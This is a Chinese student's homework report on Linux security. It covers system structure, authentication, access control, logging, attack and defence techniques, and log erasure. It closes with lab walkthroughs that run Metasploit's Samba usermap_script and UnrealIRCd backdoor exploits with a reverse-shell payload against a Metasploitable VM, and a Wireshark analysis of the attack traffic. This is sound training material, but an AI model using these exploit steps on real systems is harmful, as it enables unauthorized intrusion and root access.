20199117 2019-2020-2《网络攻防实践》第八周作业
1.实践内容
1.1Linux操作系统基本框架
- Linux操作系统的优势:开放源代码;免费;跨平台的硬件支持;丰富的软件支持;多用户多任务;可靠的安全性;良好的稳定性;完善的网络功能
1.1.1 Linux系统结构
-
Linux操作系统:一套基于Linux内核的完整操作系统为Linux操作系统。
-
Linux操作系统的结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。
-
Linux进程与线程管理机制
Linux内核采用抢占式多用户多进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来执行。
-
Linux的内存管理机制
-
Linux的内存管理支持虚拟内存,在32位的i386机器上,每个进程拥有独立的4GB虚拟内存空间,内核的代码与数据段被映射到3GB以上的空间,而用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符来分别访问内核态和用户态的内存空间,在用户态中,代码不可能访问3GB以上的地址空间,如果要访问内核空间,必须通过系统调用或者中断。
-
内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。
-
-
Linux的文件系统系统管理机制
-
Linux内核使用了虚拟文件管理VFS机制,能够支持数十种不同类型的逻辑文件系统,通过设备驱动程序访问特定硬件设备
-
VFS虚拟文件管理为用户进程提供了一组通用的文件系统调用函数,可以对不同的文件系统中的文件进行统一的操作
-
-
Linux的设备控制机制
-
Linux内核中处理或者管理硬件控制器的软件为设备驱动程序
-
Linux核心的设备驱动程序的本质:是特权的、驻留内存的低级的硬件控制例程的共享库。
-
Linux的基本特点:抽象了设备的处理,所有的硬件设备像常规文件一样看待
-
Linux支持三类硬件设备:字符设备、块设备和网络设备
-
字符设备:直接读/写,没有缓冲区
块设备:只能按照一个块(一般是512字节或1024字节)的倍数进行读/写,通过buffer cache访问,进行随机存取
网络设备:通过BSD socket网络接口进行访问
-
-
Linux的网络机制
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持,网络接口分为网络协议栈和网络驱动程序。
-
Linux系统调用机制
- Linux的系统调用接口允许应用程序透过这层接口来访问硬件设备和其它系统资源,有助于保证系统的稳定可靠和安全,并为用户提供统一的抽象接口,有助于应用程序的跨平台移植
1.2 Linux操作系统安全机制
Linux操作系统的核心安全机制:身份认证、授权与访问控制、安全审计
1.2.1 Linux身份认证机制
-
Linux用户:执行进程完成特定操作任务的主体
-
Root根用户:在系统中是唯一的拥有至高无上权限的超级用户,可以操作系统中的任何的文件与命令
-
普通用户:由使用者创建的登录系统并执行基本计算任务的用户,只能操作自己目录中的内容,执行权限受限
-
系统用户:不具有登录系统的能力,但却是系统运行不可缺少的用户
-
-
Linux用户组:具有相同特征的用户账号集合,用于简化整个系统的用户权限管理
Linux用户组信息保存在系统的/etc/group文件中,包括用户组名称、用户组gid及用户组所包含的用户名列表,用户组加密口令字则保存在/etc/gshadow文件中
使用id -a命令查询和显示当前用户所属组;通过groupadd命令添加用户组;使用usermod-G group_name user_name向特定组添加用户
-
Linux的本地登录用户认证机制
基本流程:由init进程启动getty产生若干个虚拟控制台;在控制台上显示登录,当用户敲入用户时,getty执行登录进程,进入登录认证过程,认证成功后,登录进程会fork相应用户Shell的子进程,至此完成登录过程,用户可以在对应的Shell下工作
-
Linux的远程登录用户认证机制
-
Linux普遍使用SSH服务来进行远程用户登录与网络访问
-
SSH提供的用户身份认证机制:基于口令的身份认证;基于非对称密钥的身份认证
-
-
Linux的统一身份认证中间件——PAM
-
PAM通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,给不同的服务配置不同的认证方式而无须更改服务程序,同时也便于向系统中添加新的认证手段
-
PAM支持的管理界面:认证管理;账户管理;密码管理;会话管理
-
1.2.2 Linux授权与访问控制机制
在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。
-
文件的所有者
-
文件所有者表明该文件属于哪个用户所有,以文件所有者的uid以及文件所有者所在组的gid来指明,在用户创建文件时,文件系统将自动设置新文件的所有者及其所在组,并自动地赋予文件所有者读/写的权限。
-
文件的所有者可以通过chown命令进行修改
-
-
文件的访问权限
-
ls-l命令枚举当前目录的全部文件及其详细信息时,每行最开始10个字符描述的文件访问权限。第一个标志位一般用来区分文件类型(“-”表示普通文件;“d”表示目录;“l”表示符号链接;“b”表示设备文件;“c”表示字符设备等);第2-10个标志位每三个一组分为3组,分别表示文件所有者、与所有者同组用户以及其他用户对该文件的读、写、执行权限。
-
R:对文件有读取文件内容的权限;对目录有浏览目录的权限。
-
W:对文件有新增、修改文件内容的权限;对目录有删除、移动目录内文件的权限。
-
X:对文件有执行文件的权限;对目录该用户有进入目录的权限。
-
-
文件的特殊执行权限
-
SUID权限:允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,可以任意存取文件所有者能使用的全部系统资源,设置了SUID位的文件所有者为Root等特权用户时,这类程序就有超级特权
-
SGID位:与SUID功能类似,设置了SGID位的程序执行时是以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源。
-
-
Linux访问控制机制的不足及改进
-
不足:只能将用户分为所有者、所有者所在组和其它用户这三种类别分配权限,无法做到更细粒度的权限控制
-
改进:POSIX ACLs for Linux内核补丁软件包能够帮助Linux内核实现ACL权限管理,即对系统中的任意文件可以任意配置每个用户对该文件的读写与执行权限。
-
1.2.3 Linux安全审计机制
- 连接时间日志:由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp,login等用户登录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
- 进程统计日志:由系统内核执行,当一个进程终止时,为每个进程往进程统计文件中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。
- 错误日志记录:由通用的日志记录服务syslogd(8)执行,各种系统守护进程、用户程序和内核通过syslog向文件/var/log/messages报告值得注意的事件。
1.3 Linux系统远程攻防技术
从远程网络上侵入Linux系统的主要方法如下:
- 对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统
- 发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地Shell的访问权
- 通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门
- 在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权
1.3.1 Linux远程口令字猜测攻击
-
支持攻击者进行自动化的远程口令猜测工具包括:Brutus;THC Hydra;Cain and Abel
-
针对远程口令猜测攻击的最佳防御措施是使用不易猜中的强口令字
-
对于安全敏感的服务器而言,可以通过严格的口令字管理制度和措施来帮助服务器的管理员和用户们完成目标,具体包括:
-
确保每个用户都有自己的有效账户和口令字
-
对特权账户避免直接远程登录,只能在本地登录,或使用普通账户登录之后进行su提升
-
口令长度至少8字符,包括字母、数字和标点符号
-
对多次认证失败进行记录,并在多次无效登录之后断掉连接
-
不要在自己可登录的每个系统上都使用相同的口令字
-
不要笔录自己的口令字,更不能将它告知他人
-
最好根本不用口令字而使用基于公开密钥证书的身份认证机制
-
-
对远程口令猜测攻击的实践措施包括:
- 在非标准端口上运行容易遭受远程口令猜测攻击的服务
- 使用一些口令猜测攻击检测与防御软件
- 使用Linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范围,来阻止非授权网络地址来访问这些服务
1.3.2 Linux网络服务远程渗透攻击
- 针对Linux系统网络服务的远程渗透攻击
- 针对网络服务远程渗透攻击的安全防范措施
- 禁用所有不必要的网络服务
- 尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署
- 及时更新网络服务版本
- 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
- 建立入侵检测与应急响应计划流程
1.3.3 攻击机Linux客户端程序和用户
- 攻击Linux平台上的客户端程序:互联网用户最常用的就是web浏览器和电子邮件客户端,最为流行的web浏览器为Firefox浏览器,最流行的电子邮件客户端为Thunderbrid"雷鸟"
- 针对客户端与用户攻击的安全防范措施:尽量保证常用的网络客户端软件的及时更新
1.3.4 攻击机Linux路由器和监听器
-
攻击Linux路由器与防火墙
Linux系统通过简单的配置“ip_forward=1”能够以路由器模式运行,Linux内核中由net子系统的route.c来实现路由器的寻址与数据报的转发功能,而一旦存在漏洞就可能被攻击者利用实施拒绝服务攻击
-
攻击监听器&入侵检测器
Linux系统用来实施监听与入侵检测的主流开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统
-
针对路由器与监听器攻击的安全防护措施
- 对于所维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补
- 网络管理员在构建网络的安全防御、检测与相应体系时,需要站在攻击者角度,掌握攻击者的渗透入侵技术手段,并尝试进行渗透攻击测试
- 关注所使用的各种安全设备与软件自身的安全性
1.4 Linux系统本地安全攻防技术
1.4.1 Linux本地特权提升
-
特权提升途径:
- 能够破解出Root用户的口令,然后执行su或sudo命令进行提升
- 发掘并利用su或sudo程序中的安全漏洞
- 直接攻击具有Root特权程序的任意代码执行漏洞
- 从系统中搜索全局可写的敏感文件与目录位置并加以利用
- 攻击用户态SUID特权提升漏洞(真实UID:运行该进程的用户ID;有效ID:进程当前实际继承权限用户ID)(当一个具有执行权限的文件设置SUID后,用户执行这个文件时将以文件所有者身份执行);
- 攻击Linux内核代码特权提升漏洞;
- 从系统中搜索全局可写的敏感文件与目录位置并加以利用;
-
针对Linux本地特权提升攻击的防范技术与措施
-
对于SUID特权程序,系统管理员在Linux系统中安装软件时,应关注每个软件包是否会在系统中创建SUID特遣程序,并评估其带来的安全风险
-
及时进行特权代码个内核的升级
-
1.4.2 Linux系统上的消踪灭迹
- Linux系统的主要审计日志集中的/var/log目录下,主要有系统核心进程、syslogd与各个网络服务提供事件审计功能
- 抹除Linux系统行为记录日志的首要步骤是改变当前活动的日志,往往查看/etc/syslog.cnf配置文件内容,系统对认证授权的记录在/var/log/auth.log中,一些系统报警、信息、认证等日志在/var/log/messages文件中
- 防范措施:将日志信息写到难以修改的媒介上
1.4.3 Linux系统远程控制后门程序
- Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化的系统程序、命令行后门工具及图形化后门工具
2.实践过程
2.1 动手实践:使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
(1)启动Metasploit渗透测试软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
(2)使用exploit:exploit/multi/samba/usermap_script 渗透攻击模块
(3)选择攻击PAYLOAD为远程Shell,(正向或反向连接均可)
(4)设置渗透攻击参数(RHOST,LHOST,TARGET等)
(5)执行渗透攻击
(6)查看是否正确得到远程Shell,并查看获得的权限
IP地址 | |
---|---|
kali(攻击机) | 192.168.200.3 |
Metasploitable(靶机) | 192.168.200.125 |
- 在kali中输入msfconsole,进入Metasploit软件,输入use exploit/multi/samba/usermap_script,使用该模块进行攻击
- 输入show payloads查看漏洞的载荷
- 输入set payload cmd/unix/reverse设置双向连接载荷,输入show options显示需要设置的参数
- 输入set RHOST 192.168.200.125设置靶机的地址,输入set LHOST 192.168.200.3设置攻击机地址
- 输入run进行攻击
- 输入ifconfig得出靶机IP地址,表示攻击成功
- 输入whoami查询当前用户权限为root
2.2 实践作业:攻防对抗实践
任务:攻击方使用Metasploitable渗透软件针对Linux Metasploit靶机实施网络攻击,防御方则在Metasploitable上使用tcpdump或Wireshark或Snort工具捕获攻击流,并分析出攻击者利用了哪个安全漏洞进行攻击,从官网上下载该安全漏洞补丁进行系统修补,双方合作给出攻防过程报告。
(1)攻击方:使用Metasploit,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获取远程控制权限,并尝试进一步获得Root权限
(2)防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用Shellcode,以及成功之后在本地执行命令输入等信息
- 使用nmap扫描开放端口及端口程序版本
- 使用Nessus扫描靶机的漏洞,发现后门漏洞,编号为CVE-2010-2075
- 在终端输入search CVE-2010-2075查找可用的攻击模块
- 输入use exploit/unix/irc/unreal_ircd_3281_backdoor使用该模块进行攻击
输入show payloads查看负载模块,输入set payload cmd/unix/reverse设置双向连接载荷
- 输入show options查看需要设置的参数
- 输入set RHOST 192.168.200.125设置靶机的IP地址,输入set LHOST 192.168.200.3设置攻击机地址
- 输入run进行攻击,进行攻击前打开Wireshark进行监听(忘了截图又重新攻击截图)
- 输入ifconfig查看靶机IP地址,输入whoami查看用户权限为root
- 打开wireshark,可以发现攻击机的IP地址为192.168.200.3,靶机的IP地址为192.168.200.125,攻击端口为35715,目标端口为6667
- 追踪IRC数据包的TCP流,查看shellcode
- 攻击成功后,追踪TCP流查看攻击成功后在靶机上执行ls、ifconfig、whoami命令
3.学习中遇到的问题及解决
问题:在nessus扫描中得到的漏洞不能search出来
解决:查看同学的博客后发现扫描出来的漏洞与其他同学不同,最终发现是新安装的metasploitable与以前的不一样,不知道为什么百度云里有各种metasploitable的安装包,重新安装metasploitable linux后顺利进行实验
4.学习感想和体会
终于写到这了,开心。嘻嘻
随着实践越来越多,自己也对知识更加了解了呢